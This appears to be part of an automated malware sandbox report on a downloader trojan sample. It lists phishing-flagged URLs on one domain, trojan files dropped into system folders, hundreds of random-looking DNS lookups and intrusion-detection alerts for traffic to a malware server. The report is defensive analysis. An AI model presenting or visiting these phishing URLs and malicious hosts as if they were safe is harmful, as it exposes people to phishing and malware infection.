Source: http://utbidet-ugeas.biz/d/N?02F3AE3B8BF7AE3B8BC1AE138BF3AEE8177BAD3FCDF2AEFB23F1AB0DA5C18002B9C39E158B	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0259459B175D459B176B45B3175945488BD1469F5158455BBF5B40AD396B6BA2256975B517	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02F3C70FE2F7C70FE2C1C727E2F3C7DC7E7BC40BA4F2C7CF4AF1C239CCC1E936D0C3F721E2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02E4E8BC79E0E8BC79D6E89479E4E86FE56CEBB83FE5E87CD1E6ED8A57D6C6854BD4D89279	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02181D32DD1C1D32DD2A1D1ADD181DE141901E369B191DF2751A1804F32A330BEF282D1CDD	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029818745F9C18745FAA185C5F9818A7C3101B70199918B4F79A1D4271AA364D6DA8285A5F	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02A2A15239A6A1523990A17A39A2A181A52AA2567FA3A19291A0A46417908F6B0B92917C39	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0254DF8D9D50DF8D9D66DFA59D54DF5E01DCDC89DB55DF4D3556DABBB366F1B4AF64EFA39D	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\orcemoof.dll	Avira: detection malicious, Label: TR/Dldr.Agent.swim
Source: C:\Windows\SysWOW64\ugpeatar.exe	Avira: detection malicious, Label: TR/Downloader.Gen
Source: C:\Users\user\AppData\Roaming\tmp1241.tmp	Avira: detection malicious, Label: TR/Downloader.Gen
Source: C:\Windows\SysWOW64\oumkovet.exe	Avira: detection malicious, Label: TR/Downloader.Gen
Source: C:\Windows\SysWOW64\adfabic.exe	Avira: detection malicious, Label: TR/Downloader.Gen

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 85.8% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\ugpeatar.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\oumkovet.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\adfabic.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: f3VrANv7Uw.exe

Joe Sandbox ML: detected

Source: f3VrANv7Uw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Networking

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: systea.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kwssua.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oqbuiyiqauknm.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: glmnq.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gsgkwkexyax.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yubwvmejylfk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywayqmkywiir.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cfmxetkiwgt.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: acqowoppegz.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oaqwueszgqabx.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hlmok.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: goqttcgkmqdqn.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tsuefuygjjqw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qvgefqwiz.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aemmsikoiqc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqzjvgwoe.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tssqyewcgzqwl.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qlncimsmq.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abdsnph.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uakobwqfsn.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kufirw.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wyoyzqyggunly.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kgyei.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqqwsuplosaay.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ocnbwwofuyzgm.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awxkchscu.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: erykeemmgke.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zkqsq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jzhprgkjytu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeojgqcuumrlu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hdyggmcsqtebyr.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ootybuwkgpef.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xwryugzqw.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aapssh.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ebeodkksay.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rhxrwxpwwiu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sajtw.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ztoke.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kzeukmotcfym.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: frcemoxpooyys.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uowdwhooa.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ookesj.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: llpkgwvgqyh.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aswsuqqyipi.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aqugchauqckaw.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apzkasiwau.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wriaroies.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yqkoakpyunsvf.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: musqgawai.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cookqyrwoyfqn.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywpkzeos.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhoeke.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: guesfdq.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: defybeg.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smwacsgd.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhsgqwesqkmty.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bwyeuvwvjua.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jgrqg.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: saaibybmilu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cpygfqvcmesfh.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kihnrsyomjw.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qiuejbupkgseq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mzeemghiq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wiiyeajqad.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jgsbwcowgmycas.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zeocstqbeiwd.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ajwumsxge.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: guoep.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uswnynvgayc.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yrxzinwsmcc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kxdqmoy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ojeecaygeyz.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qauqcgs.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hygwtwsknlqlue.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fauvmo.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pncalcu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uakwotxkrgn.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mkivc.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gtbygcu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ikvwxxugr.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kocxyuy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eweigcuowao.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cewisyjayokwi.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: klciqaifzak.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eosjbokmzqus.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ovuoyeswesuko.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nfltmjmfkobpe.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wkueptqz.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cimedejqa.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uocimcjgwixsm.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msrkbbbmxss.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cixzeubisg.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dmfiqwfdvkd.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnlmfbgkgis.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cygwdmgcubg.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ebyhgu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrisq.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qtucu.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dzgoqliffwuk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mmocisk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iajqusne.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cucmlgnuo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kkjaozypkgge.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gxkki.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zadvbviauek.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhfcwsu.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwbcifuclio.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mgwqlykmcf.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uxakw.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hgwigdppucuja.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qysbgykaee.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kapgekkcijhi.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: auvoaajwyokec.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ksxariaikud.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lmncsuraag.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: omkegitgypmeg.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: crseowveq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pkejap.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xgmtyuvkuv.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: btocm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: skuuqsn.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tjvzoso.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tkeyamzgkwokwt.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: evcwcpb.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: temkmouegeec.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wympeicgo.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: akecockyj.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lawqb.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eefyknsogauwh.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xigocgy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uypqk.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqiwemahodcdmo.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kkkgxco.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gecwicguubuio.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ostkhqaiupo.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: teokueuacws.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: maaqszkltdgma.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qiavpomk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iqaee.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wssym.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psuys.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: avsmmylpfta.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iumaqijuquoiyk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uuziwis.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kmicsceovzoe.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: onciwoggkhkqe.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wppwucgxsac.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: erggigocgyda.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ckamnmua.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awuwwaeukke.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ekzggkvhyuhcq.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aumqsmx.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wyqemapilnsck.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qzvocycfi.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ghasw.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ermxzitmkoe.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: arnzcgwgcpw.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iwqkinetikcv.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eukkoics.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zeqzwwmbkeyi.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sglbwemuihmlf.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yjyupswilwc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ypowuio.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qamgstcr.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tjmwgkitqlqgse.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wxmgqzezoha.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: maamyodasotuzc.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yioarynvt.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: quwigcsme.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wntkaiqyxxz.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awyiaincy.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cwfyspgrwwftoa.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pokjmp.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aicmcvzsn.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sbauaycnt.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ewoqoodzi.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ikociagcpeks.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xdilosehzucu.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ifarjtreekkbk.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weasqlu.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: guldcp.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fanamklnfoyip.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kancwyakaesake.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mouumssegx.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mrwnkwdpi.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vyayoa.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nmqvzqwamexms.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: csohewug.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqkhwao.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: medoeahgwk.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqciuiobe.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: urhosiqrdta.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: doxqxmgqeatua.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iigsdiwuimi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oyiunwqqgqn.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ocwwdbo.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: upovpdivoqjiyq.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: isegw.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: soovonz.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouvgx.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mmecmudamoqyj.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ayuging.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: auvoymocm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aehufkfkkkhsq.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eohwtcodugmx.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmkiaqaceawnmk.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iwrmmckgysisu.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xkqosiwf.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: axlgjmc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nlmfgma.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pbfut.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rnmkcgd.ph replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: fqhoeumlg.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sngrcudng.ph replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: wmksk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mlgxhacwvfbi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gibwyyvuq.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kmczget.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: luayepf.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kffjuu.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: alnavtodes.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eooeg.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kaduu.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqagw.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: idysusqkfajm.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kecyzra.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vsubiec.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: samcoy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kwyto.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zsocvau.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ammbsbmly.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: goece.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eimsmfki.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mukcyiyowswba.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iimvquoqgqqei.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: egmoaoutdmm.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zqewkpe.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uszukil.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ekegloi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gkuipnocxq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awynquuygqm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uwbse.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jnkweaw.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mfimmkqw.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqsresks.rw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vknvwzsgkdafw.cm replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cgoqalar.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmwdirotq.cg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wiqcrsiquexjra.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ovngiemtnjj.mp replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 347

Source: global traffic

DNS traffic detected: number of DNS queries: 347

Source: Joe Sandbox View	IP Address: 88.198.29.97 88.198.29.97
Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203
Source: Joe Sandbox View	IP Address: 64.70.19.203 64.70.19.203
Source: Joe Sandbox View	IP Address: 172.234.222.143 172.234.222.143

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49731 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49724 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49706 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49718 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49712 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49721 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49709 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49727 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49758 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49715 -> 172.234.222.138:80
